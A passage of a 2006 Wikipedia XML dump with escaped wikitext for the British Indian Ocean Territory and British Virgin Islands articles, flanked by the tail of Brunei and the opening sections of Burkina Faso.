[[ja:ブルネイ]]
[[no:Brunei]]
[[nn:Brunei]]
[[os:Бруней]]
[[pl:Brunei]]
[[pt:Brunei]]
[[ro:Brunei]]
[[ru:Бруней]]
[[sa:ब्रूनै]]
[[sq:Brunei]]
[[sh:Brunej]]
[[sk:Brunej]]
[[sl:Brunej]]
[[sr:Брунеј]]
[[fi:Brunei]]
[[sv:Brunei]]
[[tl:Brunei]]
[[th:ประเทศบรูไนดารุสซาลาม]]
[[tr:Brunei]]
[[uk:Бруней]]
[[zh:文莱]]</text>
    </revision>
  </page>
  <page>
    <title>British Indian Ocean Territory</title>
    <id>3468</id>
    <revision>
      <id>41003734</id>
      <timestamp>2006-02-24T12:12:28Z</timestamp>
      <contributor>
        <username>AStephenGray</username>
        <id>524966</id>
      </contributor>
      <minor />
      <comment>added term Chagossians (sourced from CIA World Factbook)</comment>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; cellpadding=&quot;4&quot; style=&quot;width: 20em; font-size: 95%;&quot;
|+ style=&quot;margin-left: inherit; font-size: medium;&quot; | '''British Indian Ocean Territory'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |
{| style=&quot;width: 280px; background: none; text-align: center;&quot;
|- style=&quot;vertical-align: middle;&quot;
| style=&quot;border: 0;&quot; | &lt;span style=&quot;display:table-cell; border-collapse:collapse; border: solid 1px #BBBBBB;&quot;&gt;[[Image:Flag of the British Indian Ocean Territory.svg|125px|Flag of {{{common_name}}}]]&lt;/span&gt;
| style=&quot;border: 0;&quot; | [[Image:British Indian Ocean Territory COA.gif|110px|Coat of Arms of ]]
|- style=&quot;font-size: smaller;&quot;
| style=&quot;border: 0;&quot; | [[Flag of the British Indian Ocean Territory|Flag]]
| style=&quot;border: 0;&quot; | [[Coat of Arms of the British Indian Ocean Territory|Coat of Arms]]
|}
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; | [[List of state mottos|Motto]]: O''In tutela nostra Limuria&lt;br&gt; ([[Limuria]] is in our charge)'''
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; | [[National anthem|Anthem]]: [[God Save the Queen]],
|-
| '''[[Capital]]'''
| None
|-
| '''Status'''
| [[British overseas territory|Overseas territory]] of the [[United Kingdom]]
|-
| '''[[Official language|Official&amp;nbsp;language(s)]]'''
| [[English language|English]]
|-
|'''[[Commissioner of the British Indian Ocean Territory|Commissioner]]'''
|[[Tony Crombie]]
|-
|'''[[Administrator of the British Indian Ocean Territory|Administrator]]'''
|[[Tony Humphries ]]
|-
| '''[[Area]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
| [[List_of_countries_by_area|Ranked 77]] ([[United Kingdom]])&lt;br&gt;60 km²&lt;br&gt;0
|-
| '''[[Population]]'''&lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- [[Population density|Density]]
| &lt;br&gt;3,500&lt;br&gt;58.3[[square kilometre|km²]]
|-
|'''[[Currency]]'''                      
|[[Pound sterling]]; [[US Dollar]] (accepted)
|-
|'''[[Time zone]]'''                     
|[[Coordinated Universal Time|UTC]]: +6 ([[Daylight saving time|DST]]: ?)
|-
|'''[[Top-level domain|Internet TLD]]''' 
|[[.io]]
|-
|'''[[List_of_country_calling_codes|Calling Code]]'''
|246
|}


The '''British Indian Ocean Territory''' ('''BIOT''') is an [[British overseas territory|overseas territory]] of the [[United Kingdom]] situated in the [[Indian Ocean]], one half the way between [[Africa]] and [[Indonesia]]. The territory comprises the six [[atoll]]s of the [[Chagos Archipelago]] with over 1,000 individual islands.

The largest island is [[Diego Garcia]], the site of a joint military facility of the [[United Kingdom]] and the [[United States]].


== History ==

The Islands of [[Chagos Archipelago]] were discovered by Vasco da Gama in the early sixteenth century, then claimed in the eighteenth century by [[France]] as a possession of [[Mauritius]]. However, in [[1810]], Mauritius was captured by the United Kingdom, and France ceding the territory in the [[Treaty of Paris (1814)]]. Agricultural workers migrated to the Islands in the late [[19th century]], settling on the main island of [[Diego Garcia]] and establishing [[copra]] plantations. 

In [[1965]], the United Kingdom split the Chagos Archipelago from Mauritius, and the islands of [[Aldabra]], [[Farquhar Group|Farquhar]] and [[Desroches]] (Des Roches) from the [[Seychelles]] to form the British Indian Ocean Territory. The purpose of was to allow the construction of military facilties for the mutual benefit of the United Kingdom and the [[United States]]. The islands were formally established as an overseas territory of the [[United Kingdom]] on [[November 8]], [[1965]]. On [[June 23]], [[1976]], Aldabra, Farquhar and Desroches were returned to [[Seychelles]] as a result of it attaining independence. Subsequently, BIOT has consisted only of the six main island groups comprising the [[Chagos Archipelago]].  

The creation of BIOT has been subject to legal controversy, as some legal opinions from international law experts say that the decision to separate the BIOT from Mauritius was illegal because international law does not allow the dismembering of a country before independence. However the decision was taken with the full agreement of the Mauritius Council of Ministers

In [[1966]], the British Government purchased the privately owned copra plantations, and closed them down, and removed the entire population (known as the [[Ilois]], or Chagossians) of Diego Garcia to Mauritius. In [[1971]], the United Kingdom and the United States signed a treaty, leasing the island of Diego Garcia to the [[Military of the United States|American military]] for the purposes of building a large air and naval base on the Island. The deal was important to the United Kingdom, as the United States agreed to give the a substantial discount on the purchase of [[Polaris missile|Polaris nuclear missiles]] in return for the lease. The strategic location of the Island was also significant at the gateway of the Indian Ocean, and to counter any [[Soviet Union|Soviet]] threat in the region.
[[Image:Diego Garcia Military Base.jpg|thumb|250px|left|View of the military base at Diego Garcia]]
Work on the military base commenced in [[1971]], with a large airbase with several long range runways constructed, as well as a harbour suitable for large naval vessels. Although classed as a joint UK/US base, in practice it is mainly staffed by the American military, although a small British garrison is maintained at all times, and [[Royal Air Force]] long range patrol aircraft are deployed there. The [[United States Air Force]] used the base during the 1991 [[Gulf War]] and the [[2001 U.S. Attack on Afghanistan|2001 war in Afghanistan]], as well as the [[2003 invasion of Iraq|2003 Iraq War]].

During the [[1980s]], the Mauritiuan Government asserted a sovereignty claim on the territory, citing the 1965 separation as illegal under international law, despite their apparent agreement at the time. The Seychelles also launched a sovereignty claim on several of the Islands.

The [[Ilois]], who now reside in Mauritius and the Seychelles have continually asserted their right to return to Diego Garcia, winning an important legal victory in [[High Court of Justice]] in 2000. However, this judgement was overturned by [[order-in-council]] in June 2004, ending any chance of legal redress from British courts. The Ilois and their supporters are currently appealing this decision to the European Court of Human Rights.

==Politics and law==
{{main|Government of British Indian Ocean Territory}}

As a territory of the [[United Kingdom]], the head of state is [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]. There is no Governor appointed to represent the Queen on the territory, as there are no native inhabitants. The head of government is the [[Commissioner of the British Indian Ocean Territory|Commissioner]], currently Tony Crombie (since January [[2004]], replacing David Ross MacLennan) and Administrator Tony Humphries (since February [[2005]], replacing Charles A. Hamilton), all of whom reside in the UK.

The laws of the territory are based on the constitution, set out in the British Indian Ocean Territory ( Constitution) Order 2004. Applicable treaties between the United Kingdom and the United States govern the use of the military base. The United States are required to ask permission of the United Kingdom if they are using the base for offensive military action.

The UK has an agreement with Mauritius to return the territory in the event that they are not longer required for defence purposes.

== Geography and communications ==
{{main|Geography of British Indian Ocean Territory}}
[[Image:Biot-map.png|thumb|300px|Map of the British Indian Ocean Territory since 1976]]
[[Image:SeychellesBIOT1970.jpg|250px|thumb|BIOT prior to Seychelles independence in 1976. (Desroches is not shown, but is a part of the [[Amirante Islands]]).]]
The territory is an archipelago of 2,300 islands, the largest being Diego Garcia. The total area of the territory is 60 sq km. The terrain is flat and low, with a typical elevantion of 4 metres. The climate is tropical marine; hot, humid, moderated by trade winds.

Most of the islands in the territory have no [[road]]s of any sort; Diego Garcia has a short stretch of paved road between the port and airfield; most [[transport]] is by [[bicycle]].  Diego Garcia includes a major naval [[harbor|port]] but no other island has a port or harbour.  The only [[airport]] is the military base on Diego Garcia, which has numerous paved runways, some over 3000 metres long.

== Economy ==

All economic activity is concentrated on [[Diego Garcia]], where joint UK-US defence facilities are located.  Approximately 2,000 native inhabitants, known as the Chagosians or [[Ilois]], were forcibly removed to Mauritius before construction of UK-US military facilities; in [[1995]], there were approximately 1700 UK and US military personnel and 1500 civilian contractors living on the island.  Construction projects and various services needed to support the military installations are done by military and contract employees from the UK, [[Mauritius]], the [[Philippines]], and the US. There are no industrial or agricultural activities on the islands.
The licensing of [[Fishing industry|commercial fishing]] provides an annual income of about one million dollars for the Territory. [http://www.publications.parliament.uk/pa/cm200304/cmhansrd/vo040621/text/40621w13.htm#40621w13.html_sbhd2].
Separate telephone facilities for military and public needs are available, providing all standard commercial telephone services, including connection to the Internet.  International telephone service is carried by satellite.  The Territory has three radio broadcast stations, one AM and two FM, and one television broadcast station.  Its Internet [[Country codes|country code]] (top-level domain) is IO. Postage stamps have been issued for British Indian Ocean Territory since [[17 January]] [[1968]].

{{Africa}}
{{British dependencies}}

==External links==

* [http://www.fco.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1007029394365&amp;a=KCountryProfile&amp;aid=1018952687077 UK Foreign Office- profile]
* [http://www.cia.gov/cia/publications/factbook/geos/io.html CIA World Factbook Entry]

{{commons|British Indian Ocean Territory}}
{{Wiktionary|British Indian Ocean Territory}}

[[Category:British Indian Ocean Territory|*]]
[[Category:Disputed territories]]
[[Category:Special territories of the European Union]]

[[af:Britse Indiese Oseaan Gebied]]
[[ca:Territori Britànic de l'Oceà Índic]]
[[cs:Britské indickooceánské území]]
[[de:Britisches Territorium im Indischen Ozean]]
[[es:Territorio Británico en el Océano Índico]]
[[eo:Brita Hindoceana Teritorio]]
[[fr:Territoire britannique de l'océan Indien]]
[[gl:Territorio Británico do Océano Índico]]
[[ko:영국령 인도양 지역]]
[[id:Teritorial Britania di Samudra Hindia]]
[[is:Bresku Indlandshafseyjar]]
[[he:הטריטוריה הבריטית באוקיינוס ההודי]]
[[nl:Brits Territorium in de Indische Oceaan]]
[[ja:イギリス領インド洋地域]]
[[no:Det britiske territoriet i Indiahavet]]
[[pl:Brytyjskie Terytorium Oceanu Indyjskiego]]
[[pt:Território Britânico do Oceano Índico]]
[[fi:Brittiläinen Intian valtameren alue]]
[[sv:Brittiska territoriet i Indiska oceanen]]
[[uk:Британські території в Індійському океані]]
[[zh:英屬印度洋領地]]</text>
    </revision>
  </page>
  <page>
    <title>British Virgin Islands</title>
    <id>3469</id>
    <revision>
      <id>42087902</id>
      <timestamp>2006-03-03T19:19:02Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.60.59.17|216.60.59.17]] to last version by Kuru</comment>
      <text xml:space="preserve">{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot; style=&quot;margin:0 0 1em 1em; float:right; width:290px;&quot;
|+
&lt;big&gt;'''British Virgin Islands'''&lt;/big&gt;
|-
|style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2|
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|-
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Flag of the British Virgin Islands.svg|125px|Flag of the British Virgin Islands]]
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Coat of arms of British Virgin Islands.png|100px|Coat of arms of the British Virgin Islands]]
|-
|align=&quot;center&quot; width=&quot;140px&quot;|(&lt;small&gt;[[Flag of the British Virgin Islands|Flag]]&lt;/small&gt;)
|align=&quot;center&quot; width=&quot;140px&quot;|(&lt;small&gt;[[Coat of Arms of the British Virgin Islands|Coat of Arms]]&lt;/small&gt;)
|}
|-
|align=&quot;center&quot; colspan=2 |&lt;font size=&quot;-1&quot;&gt;''National [[motto]]: &lt;br/&gt; The Land, The People, The Light''&lt;/font&gt;
|-
|align=center colspan=2|[[Image:LocationBritishVirginIslands.png]]
|-
|width=&quot;115px&quot;|[[Official language]]
|[[English language|English]]
|-
|[[Political status]]
|Non-[[sovereignty|sovereign]], [[Overseas territory]] of the [[United Kingdom|UK]]
|-
|[[Capital]]
|[[Road Town]]
|-
|[[Governor of the British Virgin Islands|Governor]]
|[[Tom Macan]]
|-
|[[Heads of Government of the British Virgin Islands|Chief minister]]
|[[Orlando Smith]]
|-
|[[Area]] &lt;br/&gt; &amp;nbsp;- Total &lt;br/&gt; &amp;nbsp;- % water
|[[List of countries by area|Ranked 176th]] &lt;br/&gt; [[1 E8 m²|153 km&amp;sup2;]] &lt;br/&gt; 1.6%
|-
|[[Population]] &lt;br/&gt; &amp;nbsp;- Total ([[2002]]) &lt;br/&gt; &amp;nbsp;- [[Population density|Density]]
|[[List of countries by population|Ranked 175th]] &lt;br/&gt; 21,730 &lt;br/&gt; 260/km&amp;sup2;
|-
|[[Currency]]
|[[US dollar]]
|-
|[[Time zone]]
|[[Coordinated Universal Time|UTC]] -4
|-
|[[National anthem]]
|&amp;nbsp;
|-
|[[Top-level domain|Internet TLD]]
|[[.vg]]
|-
|[[List of country calling codes|Calling Code]]
|[[Area code 284|1-284]]
|}

The '''British Virgin Islands''' is an [[British overseas territory|overseas territory]] of the [[United Kingdom]]. It consists of over 50 islands and cays located in the [[Caribbean]], to the east of [[Puerto Rico]] and the [[U.S. Virgin Islands]]. Originally part of the [[Dutch Empire]], the Islands were acquired by [[England]] in [[1672]]. 

The Islands were named by [[Christopher Columbus]] after [[Saint Ursula]], who by legend had a following of 11,000 [[virgin]] maids. 

==History==
:''Main article: [[History of the British Virgin Islands]]''
The Islands were first settled by [[Arawak Indians]] from [[South America]] in around [[100 BC]]. They settled the Islands until the [[15th century]] when they were removed by the more aggressive [[Caribs]], a tribe from the [[Lesser Antilles]] islands, after whom the [[Caribbean Sea]] is named. 

In [[1493]], The Islands were sighted and named by [[Christopher Columbus]] on his second voyage to the Americas. The [[Spanish Empire]] acquired the Islands in the early [[16th century]], mining [[copper]] on [[Virgin Gorda]]. The Dutch established a permanent settlement on [[Tortola]] in [[1648]]. In [[1672]], the English arrived in the region, and annexed the Islands, removing the Dutch populations from Tortola in 1672, and from Anegada and Virgin Gorda in 1680. The English introduced [[sugar cane]] to the Islands, which was to become the main crop, and source of foreign trade. Slaves were brought from [[Africa]] to work on the sugar cane plantations. The Islands prospered economically until the growth in the [[sugar beet]] crop in Europe and the United States significantly reduced sugar cane production.

In [[1917]], the [[United States]] purchased the [[Danish West Indies]], renaming them the [[United States Virgin Islands]]. Subsequently, the British renamed the Islands as the British Virgin Islands. The Islands were administered variously as part of the [[Leeward Islands|Leeward Islands Colony]] or with [[St. Kitts and Nevis]], with an Administrator representing the British Government on the Islands. Separate colony status was gained for the Islands in [[1960]] and the Islands became autonomous in [[1967]]. Since the [[1960s]], the Islands have diversified away from their traditionally agriculture based economy towards tourism and financial services, becoming one of the richest areas in the Caribbean.

==Politics==
{{main|Politics of the British Virgin Islands}}
Executive authority in British Virgin Islands is invested in [[Elizabeth II of the United Kingdom|The Queen]] and is exercised on her behalf by the [[Governor of the British Virgin Islands]]. The Governor is appointed by the Queen on the advice of the [[British Government]]. Defence and Foreign Affairs remain the responsibility of the United Kingdom.

The Constitution of the Islands was introduced in [[1971]]. The Head of Government is the [[Chief Minister of the British Virgin Islands|Chief Minister]], who is elected in a general election along with the other members of the ruling government as well as the members of the opposition. An Executive Council is nominated by the Chief Minister and appointed by the Governor. There is a [[unicameral]] [[Legislative Council]] made up of 13 seats.

The current Governor is [[Tom Macan]] (since 2002). The current Chief Minister is [[Orlando Smith]] (since June 17, 2003)

==Geography==
:''Main article: [[Geography of the British Virgin Islands]]''
The British Virgin Islands comprise about 50 small Caribbean islands; around 15 are inhabited. They are located a few miles east of the [[U.S. Virgin Islands]].  The [[Atlantic Ocean|North Atlantic Ocean]] lies to the north of the islands, and the [[Caribbean Sea]] lies to the south.

The largest islands of the group are [[Tortola]], [[Virgin Gorda]], [[Anegada]], and [[Jost Van Dyke]]. [[Road Town]], the capital and largest town, is situated on Tortola.
[[Image:British Virgin Islands.png|300px|thumb|right|Map of British Virgin Islands]]

==Economy==
:''Main article: [[Economy of the British Virgin Islands]]''
The economy of the British Virgin Islands is one of the more prosperous ones of any of the Caribbean states, with a [[Gross Domestic Product|GDP]] per capita of around $15,000.

The British Virgin Islands is highly dependent on [[tourism]], which accounts for 45% of national income. The islands are a popular destination for U.S. citizens, with around 350,000 tourists visiting annually ([[1997]] figures). Tourists frequently go to the numerous white sand [[beach]]es, visit The Baths on Virgin Gorda, [[snorkel]] the [[coral reef]]s near Anegada, experience the well-known bars on Jost Van Dyke, or charter [[yacht]]s to explore the less accessible islands.

Substantial revenues are also generated by the registration of [[offshoring|offshore]] companies. As of [[1997]], 250,000 companies were so registered.

The economy is closely linked with that of the larger U.S. Virgin Islands to the west, and the islands' currency, since [[1959]], is the [[United States dollar|US dollar]].

==Demographics==
{{main|Demographics of the British Virgin Islands}}
The population of the Islands is around 21,730 at [[2003]]. The majority of the population (over 80%) are [[Afro-Caribbean]], descended from the slaves brought to the Islands by the British. Other large ethnic groups include those of British and European origin.

The largest religion is [[Christianity]], of which 33% are [[Methodist]], 17% [[Anglican]] and 10% [[Roman Catholic Church|Catholic]].

==Transport==
:''Main article: [[Transportation on the British Virgin Islands]]''
Being a small group of islands, [[transportation]] is limited. There are 113km of roads. The main airport is located on Beef Island, near Tortola.  Virgin Gorda and Anegada have their own smaller airports. The main harbour is in [[Road Town]].

==See also==
''From the [[CIA World Factbook]].'':
* [[Communications on the British Virgin Islands]]
* [[Demographics of the British Virgin Islands]]
* [[Military of the British Virgin Islands]]
* [[Music of the Virgin Islands]]
* [[Politics of the British Virgin Islands]]

==References==
* {{Anb | UN_decolonisation }} {{cite web
 | url = http://www.un.org/Depts/dpi/decolonization/trust3.htm
 | title = Non-Self-Governing Territories listed by General Assembly in 2002
 | work = United Nations Special Committee of 24 on Decolonization
 | accessyear = 2005 | accessdate = March 10
 }}

==Caribbean Vacations==
''Complete travel information for the Caribbean: hotel reservation, local tours, restaurants, maps, weather, and more. [http://www.all-caribbean.com Caribbean Hotels and Vacation Packages]''
==External links==
''Maps of The British Virgin Islands from [http://www.caribbean-on-line.com Caribbean-On-Line.com]''
* [http://www.caribbean-on-line.com/islands/bv/bvimap.shtml Map of The British Virgin Islands]
* [http://www.caribbean-on-line.com/islands/bv/ttmap.shtml Map of Tortola]
* [http://www.caribbean-on-line.com/islands/bv/rtmap.shtml Map of Road Town]
* [http://www.caribbean-on-line.com/islands/bv/jvmap.shtml Map of Jost Van Dyke]
* [http://www.caribbean-on-line.com/islands/bv/vgmap.shtml Map of Virgin Gorda]
* [http://www.caribbean-on-line.com/islands/bv/agmap.shtml Map of Anegada]
* [http://www.offshoreincorporation101.com/british-virgin-islands-banks.html British Virgin Island Bank Directory]

{{West Indies}}
{{Caricom}}
{{British dependencies}}

[[Category:British Virgin Islands|British Virgin Islands]]
[[Category:Caribbean islands]]
[[Category:Current British colonies]]
[[Category:Special territories of the European Union]]

[[ca:Illes Verges Britàniques]]
[[de:Britische Jungferninseln]]
[[eo:Britaj Virgulininsuloj]]
[[es:Islas Vírgenes Británicas]]
[[et:Briti Neitsisaared]]
[[fi:Brittiläiset Neitsytsaaret]]
[[fr:Îles Vierges britanniques]]
[[gl:Illas Virxes Británicas - British Virgin Islands]]
[[he:איי הבתולה הבריטיים]]
[[hr:Britanski Djevičanski otoci]]
[[hu:Brit Virgin-szigetek]]
[[id:Kepulauan Virgin Britania Raya]]
[[io:Virgin-Insuli Britana]]
[[is:Bresku Jómfrúreyjar]]
[[it:Isole Vergini Britanniche]]
[[ja:イギリス領ヴァージン諸島]]
[[ko:영국령 버진아일랜드]]
[[lt:Didžiosios Britanijos Mergelių salos]]
[[lv:Britu Virdžīnu salas]]
[[nl:Britse Maagdeneilanden]]
[[nn:Dei britiske Jomfruøyane]]
[[no:De britiske jomfruøyene]]
[[pl:Brytyjskie Wyspy Dziewicze]]
[[pt:Ilhas Virgens Britânicas]]
[[ro:Insulele Virgine Britanice]]
[[ru:Британские Виргинские острова]]
[[simple:British Virgin Islands]]
[[sl:Britanski Deviški otoki]]
[[sr:Британска Девичанска острва]]
[[sv:Brittiska Jungfruöarna]]
[[tr:İngiliz Virgin Adaları]]
[[zh:英屬維爾京群島]]
[[zh-min-nan:Britain Virgin Kûn-tó]]</text>
    </revision>
  </page>
  <page>
    <title>Burkina Faso</title>
    <id>3470</id>
    <revision>
      <id>41952997</id>
      <timestamp>2006-03-02T21:20:33Z</timestamp>
      <contributor>
        <username>Tsca.bot</username>
        <id>601940</id>
      </contributor>
      <minor />
      <comment>robot  modifying: io</comment>
      <text xml:space="preserve">{{Infobox Country | &lt;!-- Please update [[Template:Country infobox data Burkina Faso]] if editing infobox --&gt;
native_name              = Burkina Faso |
common_name              = Burkina Faso |
image_flag               = Flag of Burkina Faso.svg |
image_coat               = Burkinafaso coa.png |
national_motto           = Unité, Progrès, Justice ([[French language|French]]: Unity, Progress, Justice) |
image_map                = LocationBurkinaFaso.png |
national_anthem          = [[Une Seule Nuit]] (One Single Night) |
official_languages       = [[French language|French]] |
capital                  = [[Ouagadougou]] |
latd=13|latm=00|latNS=N|longd=2|longm=00|longEW=W|
government_type          = [[Parliamentary system]] |
leader_titles            = [[President of Burkina Faso|President]] &lt;br&gt; [[Prime Minister of Burkina Faso|Prime Minister]] |
leader_names             = [[Blaise Compaoré]] &lt;br&gt; [[Paramanga Ernest Yonli]] |
largest_city             = [[Ouagadougou]] |
area                     = 274,200 |
areami²                  = 105,869 | &lt;!--Do not remove per [[WP:MOSNUM]] --&gt;
area_rank                = 72nd |
area_magnitude           = 1 E11 |
percent_water            = 0.1% |
population_estimate      = 13,925,313 | 
population_estimate_year = 2005 |
population_estimate_rank = 63rd |
population_census        = 13,228,460 |
population_census_year   = 2003 |
population_density       = 51 |
population_densitymi²    = 132 | &lt;!--Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank  = 119 |
GDP_PPP_year             = 2005 |
GDP_PPP                  = 16,916&lt;sup&gt;1&lt;/sup&gt; |
GDP_PPP_rank             = 115 |
GDP_PPP_per_capita       = 1,326 |
GDP_PPP_per_capita_rank  = 170 |
HDI_year                 = 2003 |
HDI                      = 0.317 |
HDI_rank                 = 175th |
HDI_category             = &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt; |
sovereignty_type         = [[Independence]] |
established_events       = &amp;nbsp;- Date |
established_dates        = From [[France]]&lt;br&gt;[[August 5]], [[1960]] |
currency                 = [[CFA franc]] |
currency_code            = XOF |
time_zone                = [[Greenwich Mean Time|GMT]] |
utc_offset               = |
time_zone_DST            = not observed |
utc_offset_DST           = |
cctld                    = [[.bf]] |
calling_code             = 226 |
footnotes                = &lt;sup&gt;1&lt;/sup&gt; The data here is an estimation for the year 2005 produced by the International Monetary Fund in April 2005.

}}
'''Burkina Faso''' is a [[landlocked]] nation in [[West Africa]]. It is surrounded by six countries: [[Mali]] to the north, [[Niger]] to the east, [[Benin]] to the south east, [[Togo]] and [[Ghana]] to the south, and [[Côte d'Ivoire]] to the south west. Formerly the [[Republic]] of [[Upper Volta]], [[Geographical renaming|it was renamed]] on [[August 4]], [[1984]] by President [[Thomas Sankara]] to mean &quot;the land of upright people&quot; (or &quot;upright land&quot;) in [[Mossi]] and [[Dioula]], the major native languages of the country. Independence from [[France]] came in 1960. Governmental instability during the 1970s and 1980s was followed by multiparty elections in the early 1990s. Several hundred thousand farm workers migrate south every year to [[Côte d'Ivoire]] and [[Ghana]] in search of [[Unemployment|paid labour]]. The inhabitants of Burkina Faso are known as [[Burkinabé]]. 

== History ==
{{main|History of Burkina Faso}}

=== Prehistory ===
Like all of the west of Africa, Burkina Faso was populated early, notably by [[hunter-gatherer]]s in the north-western part of the country (12 000 to 5000 BC), and whose tools (scrapers, chisels and arrowheads) were discovered in 1973. Settlements appeared between 3600 and 2600 [[Anno Domini|BC]] with farmers, the traces of whose structures leave the impression of relatively permanent buildings. The use of iron, ceramics and polished stone developed between 1500 and 1000 BC, as well as a preoccupation with spiritual matters, as shown by the burial remains which have been discovered.

Relics of the [[Dogon]] are found in the centre-north, north and north west region. They left the area between the 15th and 16th centuries BC to settle in the cliffs of Bandiagara. Elsewhere, the remains of high walls are localised in the south west of Burkina Faso (as well as in the Côte d'Ivoire), but the people who built them have not yet been definitely identified.

Burkina Faso was a very important economic region for the [[Songhai Empire]] during the 15th and 16th centuries.

=== From colony to independence ===
In 1896, the Mossi kingdom of Ouagadougou became a French protectorate after being defeated by French forces. In 1898, the majority of the region corresponding to Burkina Faso today was conquered. In 1904, these territories were integrated into [[French West Africa]] in the heart of the Upper-Senegal-Niger (Haut-Sénégal-Niger) colony.

Its inhabitants participated in the [[World War I|First World War]] in the heart of the battalions of the [[Senegalese Infantry]] (Tirailleurs sénégalais). It was originally administered as part of Côte d'Ivoire colony, but became a separate colony in 1919. On [[March 1]] [[1919]], [[François Charles Alexis Édouard Hesling]] became the first governor of the new colony of Upper-Volta, which was broken up [[September 5]] [[1932]], being shared between the Côte d’Ivoire, Mali and Niger.

On [[September 4]] [[1947]] Upper-Volta was recreated with its 1932 boundaries. On [[December 11]] [[1958]], it achieved self-government, and became a republic and member of the Franco-African Community (La Communauté Franco-Africaine). Full independence was attained in 1960.  The country's first military coup occurred in 1966; it returned to civilian rule in 1978. There was another coup, led by [[Saye Zerbo]] in 1980, which in turn was overthrown in 1982.  A counter-coup was launched in 1983, which left Captain [[Thomas Sankara]] in charge. The current president is [[Blaise Compaoré]], who came to power in 1987 after a [[coup d'état]] that killed  [[Thomas Sankara]].

== Politics ==
{{main|Politics of Burkina Faso}}
[[Image:Blaise Compaoré.jpeg|thumb|President Blaise Compaoré of Burkina Faso, Source: Antônio Cruz]]
The constitution of [[June 2]], [[1991]], established a semi-presidential government with a [[parliament]] (Assemblée) which can be dissolved by the President of the Republic, who is elected for a term of 5 years. The year 2000 saw a [[constitution]]al amendment reducing the presidential term from 7 to 5 years, enforceable as from 2005, when new presidential elections will be held. Another change according to the amendment would have prevented sitting president [[Blaise Compaoré]] from being re-elected. However, notwithstanding a challenge by other presidential candidates, in October 2005, the constitutional council ruled that because Compaoré was already a sitting president in 2000, the amendment would not apply to him until the end of his second term in office, thereby clearing the way for his candidacy in [[Burkina Faso presidential elections, 2005|the 2005 election]]. On [[November 13]] Compaoré was reelected in a landslide due to a divided political opposition.  The parliament consists of two chambers: the lower house (l'Assemblée Nationale) and the upper house (la Chambre des Représentants). There is also a constitutional chamber, composed of ten members, and an economic and social council whose roles are purely consultative.

== Administrative divisions ==
''Main articles: [[Regions of Burkina Faso]], [[Provinces of Burkina Faso]]''

Burkina Faso is divided into 13 [[region]]s and 45 [[province]]s: 

Regions: [[Boucle du Mouhoun Region|Boucle du Mouhoun]], [[Cascades Region|Cascades]], [[Centre Region|Centre]], [[Centre-Est Region|Centre-Est]], [[Centre-Nord Region|Centre-Nord]], [[Centre-Ouest Region|Centre-Ouest]], [[Centre-Sud Region|Centre-Sud]], [[Est Region|Est]], [[Hauts-Bassins Region|Hauts-Bassins]], [[Nord Region|Nord]], [[Plateau-Central Region|Plateau-Central]], [[Sahel Region|Sahel]], [[Sud-Ouest Region|Sud-Ouest]] 

Provinces: [[Bale Province, Burkina Faso|Balé]], [[Bam Province|Bam]], [[Banwa]], [[Bazega]], [[Bougouriba]], [[Boulgou]], [[Boulkiemde]], [[Comoe]], [[Ganzourgou]], [[Gnagna]], [[Gourma]], [[Houet]], [[Ioba]], [[Kadiogo]], [[Kenedougou (province)|Kenedougou]], [[Komondjari]], [[Kompienga]], [[Kossi]], [[Koulpelogo]], [[Kouritenga]], [[Kourweogo]], [[Leraba]], [[Loroum]], [[Mouhoun]], [[Namentenga]], [[Nahouri]], [[Nayala]], [[Noumbiel]], [[Oubritenga]], [[Oudalan]], [[Passore]], [[Poni]], [[Sanguie]], [[Sanmatenga]], [[Seno]], [[Sissili]], [[Soum]], [[Sourou]], [[Tapoa]], [[Tuy]], [[Yagha]], [[Yatenga]], [[Ziro Province|Ziro]], [[Zondoma]], [[Zoundweogo]]

== Geography ==
[[Image:Burkina Faso Map.jpg|right|thumb|250px|Map of Burkina Faso]]
{{main|Geography of Burkina Faso}}

Burkina Faso is made up of two major types of countryside:
* The larger part of the country is covered by a [[peneplain]] which forms a gently undulating landscape with, in some areas, a few isolated hills, the last vestiges of a [[precambrian]] [[massif]].

* The south-west of the country forms a [[sandstone]] massif, where the highest peak is found: Ténakourou (749 m, 2,450 ft). The massif is bordered by sheer cliffs up to 150 [[metre]]s (490&amp;nbsp;[[Foot (unit of length)|ft]]) high.

The average altitude is 400 metres (1,300&amp;nbsp;ft) and the difference between the highest and lowest terrain is no greater than 600 metres (2,000&amp;nbsp;ft). Burkina Faso is therefore a relatively flat country, with a very few localised exceptions.

=== Hydrography ===
The country owed its [[geographical renaming|former name]] of Upper Volta to three rivers which cross it: le Mouhoun (formerly called the [[Black Volta]]), le Nakambé (the [[White Volta]]) and le Nazinon (the [[Red Volta]]). Le Mouhoun, along with la Comoé which flows to the south west, is the country's only river which flows year-round

The basin of the [[Niger River]] also [[Watershed|drains]] 27% of the country's surface. Its [[Tributary|tributaries]] (le Béli, le Gorouol, le Goudébo and le Dargol) are [[Stream#Intermittent_and_ephemeral_streams|seasonal streams]], and only flow for 4 to 6 months a year but can cause large [[Flood|flood]]s.

